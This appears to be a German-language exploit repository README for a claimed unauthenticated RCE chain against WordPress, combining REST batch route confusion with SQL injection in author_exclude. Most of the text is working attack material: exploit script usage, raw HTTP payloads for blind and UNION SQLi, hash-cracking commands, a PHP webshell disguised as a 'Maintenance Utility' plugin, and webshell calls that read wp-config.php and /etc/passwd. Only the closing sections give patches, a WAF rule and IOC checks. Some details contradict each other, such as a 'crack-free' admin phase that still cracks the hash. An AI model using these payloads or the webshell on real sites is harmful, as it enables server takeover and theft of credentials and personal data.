
# WordPress-Exploit für nicht authentifiziertes RCE, der Routenverwirrung und SQL-Injection kombiniert. Automatisiertes Skript, Laboraufbau und detaillierte Schwachstellenanalyse werden bereitgestellt.
Schwachstelle: REST-Batch-Routenkonfusion + WP_Query SQL Injection → Vollständige RCE
CVSS v3.1: 10.0 / 10.0 — KRITISCH | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffen: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Behoben: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## Schnellstart
### 1. Das verwundbare Labor einrichten
**Voraussetzungen:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. Erwartete Ausgabe```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _


| Datei | Beschreibung |
|---|---|
README.md | Vollständige Schwachstellenanalyse und Exploitation-Dokumentation |
exploit.py | Automatisiertes Exploit-Skript (Null-Zugriff → RCE in einem Befehl) |
docker-compose.yml | Verwundbare WordPress-Lab-Umgebung |
chain-rce.md | Dokumentation der automatisierten RCE-Kette |
images/ | Screenshots der manuellen Ausnutzung |
Schwachstelle: Nicht authentifizierte Remote-Code-Ausführung — REST-Batch-Routen-Konfusion + WP_Query-SQL-Injection
CVSS v3.1: 10.0 / 10.0 — KRITISCH
Vektor: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 ist eine nicht authentifizierte RCE-Schwachstelle im WordPress-Kern. Sie kombiniert zwei unabhängige Fehler zu einer vollständigen Exploit-Kette vom Null-Zugriff bis zur vollständigen Server-Übernahme:
| CVE | Fehler | Rolle in der Kette |
|---|---|---|
| CVE-2026-63030 | REST-Batch-Routen-Konfusion | Authentifizierung umgehen |
| CVE-2026-60137 | author__not_in-SQL-Injection | Beliebige Datenbank-Lese-/Schreibzugriffe |
Betroffene Versionen:
Ausnutzungsbedingungen:
→ Der überwiegende Teil der WordPress-Installationen ist standardmäßig verwundbar.
/wp-json/batch/v1)Ermöglicht das Senden mehrerer REST-API-Anfragen innerhalb einer einzigen HTTP-Anfrage:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
Jede Unteranfrage wird einem eigenen Handler zugeordnet, und jeder Handler hat seinen eigenen **Berechtigungs-Callback**.
### WP_Query — `author__not_in`
Zentrale Datenbank-Abfrageklasse. Der Parameter `author__not_in` akzeptiert ein Array von Ganzzahlen und erzeugt die SQL-Klausel:```sql
AND post_author NOT IN (5, 12, 23)
Jedes Element durchläuft absint() → wobei nur der ganzzahlige Teil erhalten bleibt.
wp_parse_url()Wrapper für parse_url(). Bei einer ungültigen URL → gibt WP_Error zurück.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. Grundursache — Bug A: Batch-Routen-Verwechslung (CVE-2026-63030)
**Datei:** `wp-includes/rest-api/class-wp-rest-server.php`
### Anfälliger Quellcode:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### Warum löst `"///"` den Fehler aus?
Wenn PHP `parse_url()` auf `"///"` trifft, versucht es, sie gemäß **RFC 3986** zu parsen — URL-Struktur:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
Wenn es "///" empfängt, interpretiert es dies als:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP-Rückgabewert:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress verarbeitet dies mit wp_parse_url() → erkennt kein gültiges Schema, keinen gültigen Host, keinen sinnvollen Pfad → gibt WP_Error zurück.
wp_parse_url("///") gibt WP_Error zurück (URL fehlerhaft). Dieser Fehler führt dazu, dass die Anfrage in der Schleife, die $matches aufbaut, übersprungen wird, aber NICHT in der Dispatch-Schleife → das Array wird desynchronisiert.
Datei: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### Normaler (sicherer) Pfad:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
REST-Controller (class-wp-rest-posts-controller.php):```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### Pfad mit Routenverwirrung (anfällig):```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
Wenn der Batch-Desync auftritt, gehen die Request-Parameter nicht durch den REST-Controller → der rohe String landet direkt in WP_Query → wp_parse_id_list() weist eine Edge-Case-Umgehung auf → SQL-Injection.
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
Generiertes SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out
| Szenario | Ergebnis |
|---|---|
| Nur Bug A (Route Confusion) | Berechtigungsüberprüfung umgangen → aber nichts zu injizieren |
| Nur Bug B (SQLi) | REST-Controller castet Eingaben immer → keine Injektion möglich |
| Bug A + Bug B | Confusion umgeht Controller → roher String in SQL → RCE |
Für sich genommen sind diese beiden Bugs harmlos. Nur bei der Verkettung:
POST /wp-json/batch/v1 Content-Type: application/json
{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }
→ Response[0]: `parse_path_failed` (Primer ausgelöst)
→ Response[1]: `rest_invalid_handler` (Handler-Desync bestätigt)
### **Phase 2: SQL-Injection – Daten extrahieren**
**Blind Boolean :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -
Vergleiche TRUE- vs. FALSE-Antwort → binäre Suche über jedes Zeichen.
UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -
Gefälschte Beitragszeile, die in der JSON-Antwort zurückgegebene Anmeldedaten enthält.
→ Ergebnis: `user_login` und `user_pass` (bcrypt-Hash) erfolgreich aus `wp_users` extrahiert.
### **Phase 3: Hash knacken → Admin-Login**
Der in Phase 2 erhaltene Hash liegt im bcrypt-Format vor (`$wp$2y$10$...`). Entferne das `$wp$`-Präfix → knacke ihn mit john/hashcat + Wortliste → erhalte das Klartext-Passwort → melde dich unter `/wp-login.php` an.
**Hinweis:** Der Injektionspunkt befindet sich in der `WHERE`-Klausel von `SELECT`. MySQL deaktiviert Multi-Statements → UNION ist nur lesend (READ-only), nicht schreibend (WRITE) → kann keinen neuen Admin direkt per SQLi einfügen (INSERT). Der Hash muss geknackt werden, um eine gültige Sitzung zu erhalten.
### Phase 4: Webshell-Upload```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin
GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)
## **7. AUSNUTZUNG**
Die Ausnutzung von CVE-2026-60137 führt von **Nullzugriff** — kein Konto, kein Passwort, keine Sitzung — zu **vollständiger Serverkontrolle** ausschließlich über HTTP-Anfragen.
**Voraussetzungen:** Das Zielsystem läuft mit WordPress 6.9.0–6.9.4 oder 7.0.0–7.0.1 und die REST-API ist öffentlich (standardmäßig aktiviert). Es ist keine Anmeldung oder Kenntnis von Anmeldedaten erforderlich.
**Die Exploit-Kette besteht aus 5 Phasen:**```
Phase 1: Route Confusion → Bypass authentication
Phase 2: SQL Injection → Read database (username, password hash)
Phase 3: Crack-Free Admin → Create new admin without cracking password
Phase 4: Webshell Upload → Install backdoor via plugin upload
Phase 5: RCE → Execute arbitrary commands on the server
Ziel: Bestätigen, dass das Ziel verwundbar ist — das Handler-Array ist desynchronisiert, wenn der Primer-Pfad "///" gesendet wird.
Prinzip: Der Batch-Endpunkt erlaubt das Senden mehrerer REST-Anfragen in einem einzigen HTTP-Aufruf. Wenn wp_parse_url("///") fehlschlägt, überspringt WordPress diese Anfrage beim Aufbau des $matches-Arrays, überspringt sie jedoch NICHT beim Dispatch → Die Handler sind versetzt → die nachfolgende Anfrage läuft mit dem falschen Berechtigungs-Callback → Authentifizierung umgangen.
Anfrage senden:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json
{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}
**Antwort:**```
{
"responses": [
{"body": {"code": "parse_path_failed"}, "status": 400},
{"body": {"code": "rest_invalid_handler"}, "status": 500}
]
}
So liest man:

| Antwort | Code | Bedeutung |
|---|---|---|
[0] | parse_path_failed | Primer funktioniert — wp_parse_url("///") fehlgeschlagen |
[1] | rest_invalid_handler | DESYNC! Anfrage hat falschen Handler erhalten → Auth-Bypass |
Wir beobachten, dass rest_invalid_handler bedeutet:
"WordPress erkennt, dass der Handler NICHT MIT der Anfrage ÜBEREINSTIMMT"
→ Das bedeutet, dass das $matches-Array BEREITS DESYNCHRONISIERT ist, der Primer "///" FUNKTIONIERT HAT und diese Desynchronisation AUSGENUTZT WERDEN KANN, um die Anfrage mit dem Permission-Callback EINER ANDEREN ROUTE (einer Route, die keine Authentifizierung erfordert) auszuführen
→ AUTH-BYPASS IST MÖGLICH
Sieht man rest_invalid_handler → Bug A bestätigt.
TRUE (OR 1=1):
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
**FALSE (AND 1=2):**
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
Unterschied in X-WP-Total → SQLi bestätigt.
1. Zeichen:
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → also ist das erste Zeichen `'a'`
Durch sequenzielles Aufzählen erhalten wir: `user_login` = **"admin"**
#### **Schritt 3 — Passwort-Hash extrahieren**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}


Verwenden Sie die binäre Suche, um den ASCII-Code jedes Zeichens in user_pass zu bestimmen:```
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE)
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)
Zwei gegensätzliche Antworten bestätigen, dass der ASCII-Wert des ersten Zeichens im Bereich **(30, 40]** liegt. Fahren Sie mit der Eingrenzung fort:```
> 35 → TRUE
> 36 → FALSE
→ ASCII = 36 = '$'
Setze die binäre Suche für jede Position fort → erhalte die Hash-Präfix-Zeichenfolge $wp$:
Setze die BLIND-SQL-Abfrage Zeichen für Zeichen fort:
| Position | ASCII | Zeichen | Notizen |
|---|---|---|---|
| 1 | 36 | $ | Hash-Präfix |
| 2 | 119 | w | |
| 3 | 112 | p | |
| 4 | 36 | $ | → $wp$ = bcrypt-Variante |
| 5-20 | ... | 2y$10$aJgATdlhfI | Kostenfaktor + Salt |
→ Vollständiger Hash: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
Nach Phase 2 haben wir:
user_login = adminuser_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igiHash cracken
WordPress-Hashes verwenden das bcrypt-Format ($2y$10$) mit einem Kostenfaktor von 10. Vor dem Cracken müssen wir das $wp$-Präfix entfernen, da hashcat/john nur reines bcrypt akzeptiert:```
echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt
john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt
**Ergebnis:**

Passwort **`admin123`** ist in der Wortliste → john knackt es sofort erfolgreich.
→ Erfolgreich bei `/wp-login.php` mit `admin:admin123` angemeldet.
### **7.4 Phase 4: Webshell hochladen**
An diesem Punkt haben wir eine gültige Admin-Sitzung. Das nächste Ziel ist es, eine **Hintertür auf dem Server zu platzieren**, um Zugriff unabhängig von Zugangsdaten aufrechtzuerhalten.
WordPress erlaubt Admins, Plugins im ZIP-Format hochzuladen – das ist eine legitime Funktion, und wir werden sie missbrauchen.
#### **Webshell erstellen**
Zuerst benötigen wir eine PHP-Datei, die Systembefehle ausführt. Diese Datei wird in ein Fake-Plugin verpackt, damit WordPress sie akzeptiert:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
header('Content-Type: text/plain');
echo shell_exec($_GET['cmd'] . ' 2>&1');
exit;
}
Das secret123-Token fungiert als Passwort — und verhindert, dass andere versehentlich die Shell auslösen.```bash
mkdir shell && mv shell.php shell/
zip -r shell.zip shell/

Erfolgreich erstellt.
#### **In WordPress hochladen**
Nachdem Sie `shell.zip` erfolgreich erstellt haben, laden Sie die ZIP-Datei in den Plugin-Bereich hoch, um sie auszulösen.
WordPress entpackt und platziert die Datei unter:```
/var/www/html/wp-content/plugins/shell/shell.php
Das Plugin erscheint in der Liste unter dem Namen "Maintenance Utility" mit dem Status Aktiv → die Webshell ist nun bereit, über HTTP ausgelöst zu werden.

UPLOAD und ACTIVE erfolgreich.
Somit ist die Shell auf dem Server. Rufen Sie sie auf, um die Shell auszuführen.
RCE bestätigen:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Running as the www-data user — the web server's user. Next, escalate the impact:
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

— Führt den Befehl aus, um die Datei `wp-config.php` über die Webshell zu lesen — dabei werden alle WordPress-Geheimschlüssel (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) und Datenbankanmeldeinformationen offengelegt. Dies sind die sensibelsten Informationen einer WordPress-Installation.

*—* Die Antwort gibt den Inhalt von `wp-config.php` zurück, einschließlich `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — ausreichend für den direkten Zugriff auf den Datenbankserver, ohne über WordPress zu gehen.
#### **Alle Systembenutzer auslesen:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

→ Bestätigt Zugriff auf Betriebssystemebene, nicht länger auf den WordPress-Bereich beschränkt.
An diesem Punkt ist die Exploit-Kette vollständig:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data
### **7.6 Zusammenfassung**
| **#** | **Phase** | **Methode** | **Pfad** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Benutzername extrahieren | POST | `/?rest_route=/batch/v1` |
| 4 | Hash extrahieren | POST | `/?rest_route=/batch/v1` |
| 5 | Admin-Login | POST | `/wp-login.php` |
| 6 | Nonce abrufen | GET | `/wp-admin/plugin-install.php` |
| 7 | Shell hochladen | POST | `/wp-admin/update.php` |
| 8 | Aktivieren | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |
**9 Anfragen. Keine anfänglichen Anmeldedaten. Von der Login-Seite → volle Serverkontrolle.**
## 8. CVSS-Aufschlüsselung
| Metrik | Wert | Grund |
| --- | --- | --- |
| Attack Vector | Network | Remote über HTTP |
| Attack Complexity | Low | Deterministisch, kein Timing/Race erforderlich |
| Privileges Required | None | Vollständig ohne Authentifizierung |
| User Interaction | None | Keine Aktion des Opfers erforderlich |
| Scope | Changed | WP → OS-Ebene (www-data) |
| Confidentiality | High | Vollständiger DB-Lesezugriff |
| Integrity | High | Beliebige DB-Schreibzugriffe, Datei-Upload |
| Availability | High | DROP-Tabellen, Ransomware |
## 9. Auswirkungen
### Technisch
| Ebene | Auswirkung |
| --- | --- |
| Datenbank | Lese-/Schreibzugriff auf alles: wp_users, wp_options, wp_posts |
| Anwendung | Admins erstellen, Inhalte ändern, Backdoors installieren |
| Server | RCE als www-data, wp-config.php lesen, /etc/passwd |
| Netzwerk | Pivot zu internen Diensten über DB-Anmeldedaten |
### Geschäftlich
| Szenario | Konsequenzen |
| --- | --- |
| E-Commerce | PII offenlegen, Zahlungsschlüssel stehlen, Skimmer einschleusen |
| Unternehmen | Defacement, SEO-Spam, Malware-Verteilung |
| Multisite | 1 Exploit → Kompromittierung des gesamten Netzwerks |
| SaaS (WP-Marketing) | Umgebungsvariablen extrahieren → Pivot in die Produktion |
### Gefährdete Daten
- `wp_users`: Benutzername, E-Mail, Passwort-Hash
- `wp_usermeta`: PII (Name, Telefon, Adresse), session_tokens
- `wp_options`: DB-Anmeldedaten, SMTP-Anmeldedaten, Zahlungs-API-Schlüssel, WordPress-Salts
- `wp-config.php`: Datenbank-Host/Benutzer/Passwort, geheime Schlüssel
- `/proc/self/environ`: Umgebungsvariablen
## 10. Verteidigung und Behebung
### 10.1 Patch (Gründlich)
| Aktuelle Version | Upgrade auf |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |
### 10.2 Code-Fix
**Bug A – Routenverwechslung:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;
// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;
Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);
### 10.3 Temporäre Gegenmaßnahme
**1. Batch-Endpunkt deaktivieren (am effektivsten):**```php
add_filter('rest_endpoints', function($endpoints) {
unset($endpoints['/batch/v1']);
return $endpoints;
});
2. Redis/Memcached aktivieren:```bash wp plugin install redis-cache --activate wp redis enable
→ UNION injection spiegelt sich nicht wider (der Cache liefert veraltete Daten).
**3. WAF-Regel:**```nginx
location /wp-json/batch/ {
if ($request_body ~* '"path"\s*:\s*"///') {
return 403;
}
}
Log-Muster:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access
**IOC-Überprüfung:**```bash
wp user list --role=administrator # unfamiliar admin?
ls wp-content/mu-plugins/ # backdoor?
wp core verify-checksums # core modified?